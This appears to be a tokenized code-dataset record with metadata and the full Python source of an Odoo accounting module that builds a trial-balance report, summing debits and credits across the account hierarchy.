[ 646, 2882, 12, 2196, 12, 984, 12, 900, 12, 295, 12, 18354, 199, 1274, 14, 515, 14, 2880, 2941, 14, 1673, 703, 1673, 5093, 703, 1673, 647, 1105, 199, 646, 394, 18, 79, 12, 394, 18, 79, 63, 1760, 12, 394, 18, 79, 63, 4570, 465, 394, 18, 66, 12, 394, 18, 79, 63, 646, 465, 394, 18, 73, 12, 394, 18, 79, 63, 3528, 77, 12, 394, 18, 79, 63, 1974, 199, 646, 394, 18, 79, 63, 1361, 465, 394, 18, 80, 12, 394, 18, 79, 63, 4908, 77, 199, 199, 3, 2436, 26, 199, 3, 781, 2934, 370, 6347, 282, 2196, 2600, 367, 4154, 28441, 199, 3, 1059, 14, 4371, 63, 26831, 1059, 14, 20557, 1059, 14, 16415, 1059, 14, 7022, 1059, 14, 25181, 1059, 14, 8506, 199, 3, 18152, 316, 314, 3415, 7704, 652, 14905, 370, 2342, 314, 4875, 5560, 199, 3759, 11229, 275, 298, 7570, 37, 614, 2, 435, 7880, 5, 16341, 14, 27, 6113, 84, 298, 199, 3759, 11229, 275, 298, 7570, 37, 614, 2, 327, 4875, 703, 696, 5589, 653, 33, 7313, 14, 8646, 413, 37, 16, 69, 365, 25498, 282, 5160, 199, 3, 10261, 11229, 275, 298, 32706, 38, 614, 2, 327, 862, 642, 703, 6918, 199, 3, 10261, 11229, 275, 298, 10678, 2, 327, 199, 3513, 11229, 275, 1867, 1154, 341, 199, 3, 2793, 1133, 675, 1263, 6313, 4110, 14, 2136, 5121, 1172, 370, 25863, 15821, 199, 3513, 11229, 275, 3087, 199, 4896, 63, 17563, 63, 11139, 275, 499, 199, 4283, 63, 17563, 63, 11139, 275, 959, 199, 479, 9141, 63, 17563, 63, 11139, 690, 15861, 63, 17563, 63, 11139, 199, 50, 3649, 63, 17563, 63, 9127, 275, 715, 199, 24678, 63, 1438, 3311, 63, 35, 12460, 275, 14711, 199, 24678, 63, 26573, 63, 35, 12460, 275, 5238, 199, 199, 3, 24720, 22044, 402, 28908, 701, 10663, 8321, 10415, 8455, 199, 3, 465, 1846, 465, 1265, 1172, 8321, 4534, 436, 28441, 1126, 4534, 703, 5626, 506, 2196, 8321, 199, 479, 445, 934, 63, 1438, 3311, 63, 35, 12460, 690, 499, 627, 445, 934, 63, 26573, 63, 35, 12460, 199, 199, 692, 18354, 14, 362, 751, 342, 6803, 415, 11908, 356, 327, 709, 45, 272, 9769, 5035, 29, 22589, 327, 413, 45, 272, 9769, 5035, 29, 9943, 327, 1616, 75, 272, 32280, 63, 23851, 275, 1616, 272, 327, 5317, 781, 1172, 282, 1616, 4340, 5802, 11982, 4634, 1396, 509, 1926, 45, 4730, 272, 445, 619, 63, 11084, 1951, 275, 378, 327, 10877, 6230, 370, 370, 664, 499, 538, 46, 29416, 199, 2836, 26, 327, 413, 45, 272, 445, 619, 63, 11084, 1951, 275, 378, 327, 10877, 6230, 370, 370, 664, 499, 538, 46, 29416, 272, 32280, 63, 23851, 275, 1616, 272, 9769, 5035, 29, 9943, 199, 199, 479, 445, 619, 63, 11084, 1951, 2356, 378, 199, 199, 1649, 63, 2749, 1387, 275, 18354, 14, 362, 751, 342, 6803, 415, 11908, 7, 199, 199, 1649, 63, 9754, 879, 275, 715, 199, 4283, 63, 49, 9431, 51, 275, 5198, 199, 21389, 63, 6909, 275, 413, 199, 199, 3, 4931, 275, 359, 18, 12, 19, 12, 21, 61, 199, 3, 258, 366, 275, 2196, 63, 576, 59, 72, 18, 79, 63, 1974, 14, 13522, 63, 5095, 8, 4916, 1874, 199, 199, 318, 2196, 63, 4869, 8, 2063, 12, 10261, 11229, 29, 3759, 11229, 12, 6313, 11229, 29, 3513, 11229, 304, 272, 327, 19311, 372, 488, 1616, 5, 402, 314, 900, 272, 327, 340, 2196, 14, 8393, 8, 16, 12, 25, 12694, 16, 26, 272, 327, 259, 372, 283, 10616, 72, 7, 327, 2701, 1059, 3181, 1133, 1736, 367, 2146, 6540, 31, 339, 7141, 2848, 275, 10261, 11229, 435, 6313, 11229, 272, 5594, 3655, 3259, 2844, 19803, 275, 715, 272, 1830, 5594, 3655, 3259, 2844, 19803, 26, 267, 327, 869, 18, 47, 3181, 1133, 17021, 370, 370, 1435, 323, 2196, 2849, 503, 4270, 6313, 315, 314, 1642, 2877, 4730, 14, 267, 327, 2153, 3306, 626, 701, 440, 9476, 6313, 11229, 367, 314, 1642, 2877, 4730, 334, 262, 1240, 370, 2348, 9, 267, 519, 275, 6522, 904, 8, 2355, 14, 5095, 8, 5095, 2848, 9, 367, 671, 315, 1425, 8, 2063, 430, 267, 5594, 3655, 3259, 2844, 19803, 275, 394, 18, 79, 63, 1974, 14, 77, 1070, 63, 72, 18, 79, 63, 29727, 63, 1955, 63, 269, 63, 8506, 8, 82, 9, 339, 372, 519, 199, 199, 318, 1218, 63, 4869, 63, 513, 8, 78, 29, 20, 12, 1748, 6216, 29, 17, 12, 1390, 6216, 29, 18, 12, 1011, 958, 304, 272, 327, 9812, 316, 2582, 1373, 12, 781, 15026, 1824, 2849, 10964, 5579, 626, 7675, 314, 8852, 2763, 370, 653, 33, 272, 327, 1937, 577, 1122, 4476, 14, 6138, 367, 642, 7763, 272, 327, 7333, 1, 340, 781, 2040, 378, 12, 2066, 781, 2040, 653, 33, 31, 14, 473, 9519, 781, 1104, 367, 949, 4124, 12, 880, 883, 1133, 2040, 653, 33, 339, 327, 769, 402, 3747, 2196, 28441, 272, 4952, 1296, 275, 942, 272, 1830, 822, 8, 4869, 1296, 9, 1111, 302, 26, 267, 4952, 275, 2196, 63, 4869, 8, 2063, 29, 2355, 14, 8393, 8, 442, 8, 827, 6216, 395, 1109, 8, 988, 6216, 1724, 267, 340, 4952, 440, 315, 4952, 1296, 26, 288, 4952, 1296, 14, 740, 8, 4869, 9, 272, 372, 4952, 1296, 199, 199, 318, 1218, 63, 761, 63, 4869, 63, 513, 8, 262, 2353, 304, 272, 327, 314, 4952, 3462, 365, 12717, 687, 314, 327, 402, 3415, 272, 3462, 9054, 275, 2196, 14, 8393, 8, 4896, 63, 17563, 63, 11139, 12, 9141, 63, 17563, 63, 11139, 9, 339, 9141, 63, 16236, 275, 841, 272, 4931, 275, 359, 17, 14, 16, 61, 272, 1967, 9054, 1296, 275, 359, 18, 61, 272, 327, 3544, 1929, 499, 3415, 3967, 781, 886, 508, 436, 440, 4472, 272, 367, 284, 315, 1425, 8, 19, 12, 9141, 63, 16236, 304, 267, 870, 298, 4916, 6783, 4931, 267, 327, 1924, 7141, 365, 413, 15, 18, 273, 314, 4136, 267, 336, 275, 4931, 1988, 17, 12978, 18, 14, 16, 267, 702, 336, 1111, 16, 267, 4931, 14, 740, 8, 87, 9, 267, 1967, 9054, 1296, 14, 740, 8, 73, 9, 2286, 870, 298, 1507, 9054, 1296, 401, 1967, 9054, 1296, 272, 1048, 5081 ]
[ 2882, 12, 2196, 12, 984, 12, 900, 12, 295, 12, 18354, 199, 1274, 14, 515, 14, 2880, 2941, 14, 1673, 703, 1673, 5093, 703, 1673, 647, 1105, 199, 646, 394, 18, 79, 12, 394, 18, 79, 63, 1760, 12, 394, 18, 79, 63, 4570, 465, 394, 18, 66, 12, 394, 18, 79, 63, 646, 465, 394, 18, 73, 12, 394, 18, 79, 63, 3528, 77, 12, 394, 18, 79, 63, 1974, 199, 646, 394, 18, 79, 63, 1361, 465, 394, 18, 80, 12, 394, 18, 79, 63, 4908, 77, 199, 199, 3, 2436, 26, 199, 3, 781, 2934, 370, 6347, 282, 2196, 2600, 367, 4154, 28441, 199, 3, 1059, 14, 4371, 63, 26831, 1059, 14, 20557, 1059, 14, 16415, 1059, 14, 7022, 1059, 14, 25181, 1059, 14, 8506, 199, 3, 18152, 316, 314, 3415, 7704, 652, 14905, 370, 2342, 314, 4875, 5560, 199, 3759, 11229, 275, 298, 7570, 37, 614, 2, 435, 7880, 5, 16341, 14, 27, 6113, 84, 298, 199, 3759, 11229, 275, 298, 7570, 37, 614, 2, 327, 4875, 703, 696, 5589, 653, 33, 7313, 14, 8646, 413, 37, 16, 69, 365, 25498, 282, 5160, 199, 3, 10261, 11229, 275, 298, 32706, 38, 614, 2, 327, 862, 642, 703, 6918, 199, 3, 10261, 11229, 275, 298, 10678, 2, 327, 199, 3513, 11229, 275, 1867, 1154, 341, 199, 3, 2793, 1133, 675, 1263, 6313, 4110, 14, 2136, 5121, 1172, 370, 25863, 15821, 199, 3513, 11229, 275, 3087, 199, 4896, 63, 17563, 63, 11139, 275, 499, 199, 4283, 63, 17563, 63, 11139, 275, 959, 199, 479, 9141, 63, 17563, 63, 11139, 690, 15861, 63, 17563, 63, 11139, 199, 50, 3649, 63, 17563, 63, 9127, 275, 715, 199, 24678, 63, 1438, 3311, 63, 35, 12460, 275, 14711, 199, 24678, 63, 26573, 63, 35, 12460, 275, 5238, 199, 199, 3, 24720, 22044, 402, 28908, 701, 10663, 8321, 10415, 8455, 199, 3, 465, 1846, 465, 1265, 1172, 8321, 4534, 436, 28441, 1126, 4534, 703, 5626, 506, 2196, 8321, 199, 479, 445, 934, 63, 1438, 3311, 63, 35, 12460, 690, 499, 627, 445, 934, 63, 26573, 63, 35, 12460, 199, 199, 692, 18354, 14, 362, 751, 342, 6803, 415, 11908, 356, 327, 709, 45, 272, 9769, 5035, 29, 22589, 327, 413, 45, 272, 9769, 5035, 29, 9943, 327, 1616, 75, 272, 32280, 63, 23851, 275, 1616, 272, 327, 5317, 781, 1172, 282, 1616, 4340, 5802, 11982, 4634, 1396, 509, 1926, 45, 4730, 272, 445, 619, 63, 11084, 1951, 275, 378, 327, 10877, 6230, 370, 370, 664, 499, 538, 46, 29416, 199, 2836, 26, 327, 413, 45, 272, 445, 619, 63, 11084, 1951, 275, 378, 327, 10877, 6230, 370, 370, 664, 499, 538, 46, 29416, 272, 32280, 63, 23851, 275, 1616, 272, 9769, 5035, 29, 9943, 199, 199, 479, 445, 619, 63, 11084, 1951, 2356, 378, 199, 199, 1649, 63, 2749, 1387, 275, 18354, 14, 362, 751, 342, 6803, 415, 11908, 7, 199, 199, 1649, 63, 9754, 879, 275, 715, 199, 4283, 63, 49, 9431, 51, 275, 5198, 199, 21389, 63, 6909, 275, 413, 199, 199, 3, 4931, 275, 359, 18, 12, 19, 12, 21, 61, 199, 3, 258, 366, 275, 2196, 63, 576, 59, 72, 18, 79, 63, 1974, 14, 13522, 63, 5095, 8, 4916, 1874, 199, 199, 318, 2196, 63, 4869, 8, 2063, 12, 10261, 11229, 29, 3759, 11229, 12, 6313, 11229, 29, 3513, 11229, 304, 272, 327, 19311, 372, 488, 1616, 5, 402, 314, 900, 272, 327, 340, 2196, 14, 8393, 8, 16, 12, 25, 12694, 16, 26, 272, 327, 259, 372, 283, 10616, 72, 7, 327, 2701, 1059, 3181, 1133, 1736, 367, 2146, 6540, 31, 339, 7141, 2848, 275, 10261, 11229, 435, 6313, 11229, 272, 5594, 3655, 3259, 2844, 19803, 275, 715, 272, 1830, 5594, 3655, 3259, 2844, 19803, 26, 267, 327, 869, 18, 47, 3181, 1133, 17021, 370, 370, 1435, 323, 2196, 2849, 503, 4270, 6313, 315, 314, 1642, 2877, 4730, 14, 267, 327, 2153, 3306, 626, 701, 440, 9476, 6313, 11229, 367, 314, 1642, 2877, 4730, 334, 262, 1240, 370, 2348, 9, 267, 519, 275, 6522, 904, 8, 2355, 14, 5095, 8, 5095, 2848, 9, 367, 671, 315, 1425, 8, 2063, 430, 267, 5594, 3655, 3259, 2844, 19803, 275, 394, 18, 79, 63, 1974, 14, 77, 1070, 63, 72, 18, 79, 63, 29727, 63, 1955, 63, 269, 63, 8506, 8, 82, 9, 339, 372, 519, 199, 199, 318, 1218, 63, 4869, 63, 513, 8, 78, 29, 20, 12, 1748, 6216, 29, 17, 12, 1390, 6216, 29, 18, 12, 1011, 958, 304, 272, 327, 9812, 316, 2582, 1373, 12, 781, 15026, 1824, 2849, 10964, 5579, 626, 7675, 314, 8852, 2763, 370, 653, 33, 272, 327, 1937, 577, 1122, 4476, 14, 6138, 367, 642, 7763, 272, 327, 7333, 1, 340, 781, 2040, 378, 12, 2066, 781, 2040, 653, 33, 31, 14, 473, 9519, 781, 1104, 367, 949, 4124, 12, 880, 883, 1133, 2040, 653, 33, 339, 327, 769, 402, 3747, 2196, 28441, 272, 4952, 1296, 275, 942, 272, 1830, 822, 8, 4869, 1296, 9, 1111, 302, 26, 267, 4952, 275, 2196, 63, 4869, 8, 2063, 29, 2355, 14, 8393, 8, 442, 8, 827, 6216, 395, 1109, 8, 988, 6216, 1724, 267, 340, 4952, 440, 315, 4952, 1296, 26, 288, 4952, 1296, 14, 740, 8, 4869, 9, 272, 372, 4952, 1296, 199, 199, 318, 1218, 63, 761, 63, 4869, 63, 513, 8, 262, 2353, 304, 272, 327, 314, 4952, 3462, 365, 12717, 687, 314, 327, 402, 3415, 272, 3462, 9054, 275, 2196, 14, 8393, 8, 4896, 63, 17563, 63, 11139, 12, 9141, 63, 17563, 63, 11139, 9, 339, 9141, 63, 16236, 275, 841, 272, 4931, 275, 359, 17, 14, 16, 61, 272, 1967, 9054, 1296, 275, 359, 18, 61, 272, 327, 3544, 1929, 499, 3415, 3967, 781, 886, 508, 436, 440, 4472, 272, 367, 284, 315, 1425, 8, 19, 12, 9141, 63, 16236, 304, 267, 870, 298, 4916, 6783, 4931, 267, 327, 1924, 7141, 365, 413, 15, 18, 273, 314, 4136, 267, 336, 275, 4931, 1988, 17, 12978, 18, 14, 16, 267, 702, 336, 1111, 16, 267, 4931, 14, 740, 8, 87, 9, 267, 1967, 9054, 1296, 14, 740, 8, 73, 9, 2286, 870, 298, 1507, 9054, 1296, 401, 1967, 9054, 1296, 272, 1048, 5081, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jjscarafia/odoo
addons/account/report/account_balance.py
183
6162
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import time from openerp.osv import osv from openerp.report import report_sxw from common_report_header import common_report_header class account_balance(report_sxw.rml_parse, common_report_header): _name = 'report.account.account.balance' def __init__(self, cr, uid, name, context=None): super(account_balance, self).__init__(cr, uid, name, context=context) self.sum_debit = 0.00 self.sum_credit = 0.00 self.date_lst = [] self.date_lst_string = '' self.result_acc = [] self.localcontext.update({ 'time': time, 'lines': self.lines, 'sum_debit': self._sum_debit, 'sum_credit': self._sum_credit, 'get_fiscalyear':self._get_fiscalyear, 'get_filter': self._get_filter, 'get_start_period': self.get_start_period, 'get_end_period': self.get_end_period , 'get_account': self._get_account, 'get_journal': self._get_journal, 'get_start_date':self._get_start_date, 'get_end_date':self._get_end_date, 'get_target_move': self._get_target_move, }) self.context = context def set_context(self, objects, data, ids, report_type=None): new_ids = ids if (data['model'] == 'ir.ui.menu'): new_ids = 'chart_account_id' in data['form'] and [data['form']['chart_account_id']] or [] objects = self.pool.get('account.account').browse(self.cr, self.uid, new_ids) return super(account_balance, self).set_context(objects, data, new_ids, report_type=report_type) def _get_account(self, data): if data['model']=='account.account': return self.pool.get('account.account').browse(self.cr, self.uid, data['form']['id']).company_id.name return super(account_balance ,self)._get_account(data) def lines(self, form, ids=None, done=None): def _process_child(accounts, disp_acc, parent): account_rec = [acct for acct in accounts if acct['id']==parent][0] currency_obj = self.pool.get('res.currency') acc_id = self.pool.get('account.account').browse(self.cr, self.uid, account_rec['id']) currency = acc_id.currency_id and acc_id.currency_id or acc_id.company_id.currency_id res = { 'id': account_rec['id'], 'type': account_rec['type'], 'code': account_rec['code'], 'name': account_rec['name'], 'level': account_rec['level'], 'debit': account_rec['debit'], 'credit': account_rec['credit'], 'balance': account_rec['balance'], 'parent_id': account_rec['parent_id'], 'bal_type': '', } self.sum_debit += account_rec['debit'] self.sum_credit += account_rec['credit'] if disp_acc == 'movement': if not currency_obj.is_zero(self.cr, self.uid, currency, res['credit']) or not currency_obj.is_zero(self.cr, self.uid, currency, res['debit']) or not currency_obj.is_zero(self.cr, self.uid, currency, res['balance']): self.result_acc.append(res) elif disp_acc == 'not_zero': if not currency_obj.is_zero(self.cr, self.uid, currency, res['balance']): self.result_acc.append(res) else: self.result_acc.append(res) if account_rec['child_id']: for child in account_rec['child_id']: _process_child(accounts,disp_acc,child) obj_account = self.pool.get('account.account') if not ids: ids = self.ids if not ids: return [] if not done: done={} ctx = self.context.copy() ctx['fiscalyear'] = form['fiscalyear_id'] if form['filter'] == 'filter_period': ctx['period_from'] = form['period_from'] ctx['period_to'] = form['period_to'] elif form['filter'] == 'filter_date': ctx['date_from'] = form['date_from'] ctx['date_to'] = form['date_to'] ctx['state'] = form['target_move'] parents = ids child_ids = obj_account._get_children_and_consol(self.cr, self.uid, ids, ctx) if child_ids: ids = child_ids accounts = obj_account.read(self.cr, self.uid, ids, ['type','code','name','debit','credit','balance','parent_id','level','child_id'], ctx) for parent in parents: if parent in done: continue done[parent] = 1 _process_child(accounts,form['display_account'],parent) return self.result_acc class report_trialbalance(osv.AbstractModel): _name = 'report.account.report_trialbalance' _inherit = 'report.abstract_report' _template = 'account.report_trialbalance' _wrapped_report_class = account_balance # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 900, 199, 199, 504, 5166, 14, 4795, 492, 9506, 199, 504, 5166, 14, 3070, 492, 3622, 63, 20851, 199, 504, 2863, 63, 3070, 63, 1291, 492, 2863, 63, 3070, 63, 1291, 421, 199, 533, 2933, 63, 7358, 8, 3070, 63, 20851, 14, 16300, 63, 1122, 12, 2863, 63, 3070, 63, 1291, 304, 272, 485, 354, 275, 283, 3070, 14, 2048, 14, 2048, 14, 7358, 7, 339, 347, 636, 826, 721, 277, 12, 2467, 12, 1747, 12, 536, 12, 1067, 29, 403, 304, 267, 1613, 8, 2048, 63, 7358, 12, 291, 2843, 826, 721, 1556, 12, 1747, 12, 536, 12, 1067, 29, 1100, 9, 267, 291, 14, 1838, 63, 12964, 275, 378, 14, 383, 267, 291, 14, 1838, 63, 9365, 275, 378, 14, 383, 267, 291, 14, 602, 63, 6916, 275, 942, 267, 291, 14, 602, 63, 6916, 63, 875, 275, 2125, 267, 291, 14, 1099, 63, 5470, 275, 942, 267, 291, 14, 17886, 14, 873, 2561, 288, 283, 521, 356, 900, 12, 288, 283, 1278, 356, 291, 14, 1278, 12, 288, 283, 1838, 63, 12964, 356, 291, 423, 1838, 63, 12964, 12, 288, 283, 1838, 63, 9365, 356, 291, 423, 1838, 63, 9365, 12, 288, 283, 362, 63, 21260, 356, 277, 423, 362, 63, 21260, 12, 288, 283, 362, 63, 1541, 356, 291, 423, 362, 63, 1541, 12, 288, 283, 362, 63, 928, 63, 5191, 356, 291, 14, 362, 63, 928, 63, 5191, 12, 288, 283, 362, 63, 500, 63, 5191, 356, 291, 14, 362, 63, 500, 63, 5191, 2360, 288, 283, 362, 63, 2048, 356, 291, 423, 362, 63, 2048, 12, 288, 283, 362, 63, 7067, 356, 291, 423, 362, 63, 7067, 12, 288, 283, 362, 63, 928, 63, 602, 356, 277, 423, 362, 63, 928, 63, 602, 12, 288, 283, 362, 63, 500, 63, 602, 356, 277, 423, 362, 63, 500, 63, 602, 12, 288, 283, 362, 63, 1375, 63, 1185, 356, 291, 423, 362, 63, 1375, 63, 1185, 12, 267, 3828, 267, 291, 14, 1100, 275, 1067, 339, 347, 663, 63, 1100, 8, 277, 12, 2251, 12, 666, 12, 2762, 12, 3622, 63, 466, 29, 403, 304, 267, 892, 63, 1580, 275, 2762, 267, 340, 334, 576, 459, 1238, 418, 508, 283, 723, 14, 1907, 14, 4470, 735, 288, 892, 63, 1580, 275, 283, 9019, 63, 2048, 63, 344, 7, 315, 666, 459, 964, 418, 436, 359, 576, 459, 964, 2545, 9019, 63, 2048, 63, 344, 6538, 503, 942, 288, 2251, 275, 291, 14, 2293, 14, 362, 360, 2048, 14, 2048, 1959, 4570, 8, 277, 14, 1556, 12, 291, 14, 1535, 12, 892, 63, 1580, 9, 267, 372, 1613, 8, 2048, 63, 7358, 12, 291, 680, 409, 63, 1100, 8, 1462, 12, 666, 12, 892, 63, 1580, 12, 3622, 63, 466, 29, 3070, 63, 466, 9, 339, 347, 485, 362, 63, 2048, 8, 277, 12, 666, 304, 267, 340, 666, 459, 1238, 418, 6803, 2048, 14, 2048, 356, 288, 372, 291, 14, 2293, 14, 362, 360, 2048, 14, 2048, 1959, 4570, 8, 277, 14, 1556, 12, 291, 14, 1535, 12, 666, 459, 964, 2545, 344, 13227, 4627, 63, 344, 14, 354, 267, 372, 1613, 8, 2048, 63, 7358, 2360, 277, 10445, 362, 63, 2048, 8, 576, 9, 339, 347, 2385, 8, 277, 12, 1824, 12, 2762, 29, 403, 12, 4224, 29, 403, 304, 267, 347, 485, 1412, 63, 1739, 8, 8370, 12, 9628, 63, 5470, 12, 1676, 304, 355, 2933, 63, 2761, 275, 359, 23015, 367, 29468, 315, 12639, 340, 29468, 459, 344, 418, 389, 1708, 1527, 16, 61, 355, 9952, 63, 1113, 275, 291, 14, 2293, 14, 362, 360, 470, 14, 4968, 358, 355, 6907, 63, 344, 275, 291, 14, 2293, 14, 362, 360, 2048, 14, 2048, 1959, 4570, 8, 277, 14, 1556, 12, 291, 14, 1535, 12, 2933, 63, 2761, 459, 344, 1105, 355, 9952, 275, 6907, 63, 344, 14, 4968, 63, 344, 436, 6907, 63, 344, 14, 4968, 63, 344, 503, 6907, 63, 344, 14, 4627, 63, 344, 14, 4968, 63, 344, 355, 522, 275, 469, 490, 283, 344, 356, 2933, 63, 2761, 459, 344, 995, 490, 283, 466, 356, 2933, 63, 2761, 459, 466, 995, 490, 283, 600, 356, 2933, 63, 2761, 459, 600, 995, 490, 283, 354, 356, 2933, 63, 2761, 459, 354, 995, 490, 283, 1896, 356, 2933, 63, 2761, 459, 1896, 995, 490, 283, 12964, 356, 2933, 63, 2761, 459, 12964, 995, 490, 283, 9365, 356, 2933, 63, 2761, 459, 9365, 995, 490, 283, 7358, 356, 2933, 63, 2761, 459, 7358, 995, 490, 283, 1708, 63, 344, 356, 2933, 63, 2761, 459, 1708, 63, 344, 995, 490, 283, 4982, 63, 466, 356, 3260, 355, 789, 355, 291, 14, 1838, 63, 12964, 847, 2933, 63, 2761, 459, 12964, 418, 355, 291, 14, 1838, 63, 9365, 847, 2933, 63, 2761, 459, 9365, 418, 355, 340, 9628, 63, 5470, 508, 283, 1185, 434, 356, 490, 340, 440, 9952, 63, 1113, 14, 374, 63, 4262, 8, 277 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 900, 199, 199, 504, 5166, 14, 4795, 492, 9506, 199, 504, 5166, 14, 3070, 492, 3622, 63, 20851, 199, 504, 2863, 63, 3070, 63, 1291, 492, 2863, 63, 3070, 63, 1291, 421, 199, 533, 2933, 63, 7358, 8, 3070, 63, 20851, 14, 16300, 63, 1122, 12, 2863, 63, 3070, 63, 1291, 304, 272, 485, 354, 275, 283, 3070, 14, 2048, 14, 2048, 14, 7358, 7, 339, 347, 636, 826, 721, 277, 12, 2467, 12, 1747, 12, 536, 12, 1067, 29, 403, 304, 267, 1613, 8, 2048, 63, 7358, 12, 291, 2843, 826, 721, 1556, 12, 1747, 12, 536, 12, 1067, 29, 1100, 9, 267, 291, 14, 1838, 63, 12964, 275, 378, 14, 383, 267, 291, 14, 1838, 63, 9365, 275, 378, 14, 383, 267, 291, 14, 602, 63, 6916, 275, 942, 267, 291, 14, 602, 63, 6916, 63, 875, 275, 2125, 267, 291, 14, 1099, 63, 5470, 275, 942, 267, 291, 14, 17886, 14, 873, 2561, 288, 283, 521, 356, 900, 12, 288, 283, 1278, 356, 291, 14, 1278, 12, 288, 283, 1838, 63, 12964, 356, 291, 423, 1838, 63, 12964, 12, 288, 283, 1838, 63, 9365, 356, 291, 423, 1838, 63, 9365, 12, 288, 283, 362, 63, 21260, 356, 277, 423, 362, 63, 21260, 12, 288, 283, 362, 63, 1541, 356, 291, 423, 362, 63, 1541, 12, 288, 283, 362, 63, 928, 63, 5191, 356, 291, 14, 362, 63, 928, 63, 5191, 12, 288, 283, 362, 63, 500, 63, 5191, 356, 291, 14, 362, 63, 500, 63, 5191, 2360, 288, 283, 362, 63, 2048, 356, 291, 423, 362, 63, 2048, 12, 288, 283, 362, 63, 7067, 356, 291, 423, 362, 63, 7067, 12, 288, 283, 362, 63, 928, 63, 602, 356, 277, 423, 362, 63, 928, 63, 602, 12, 288, 283, 362, 63, 500, 63, 602, 356, 277, 423, 362, 63, 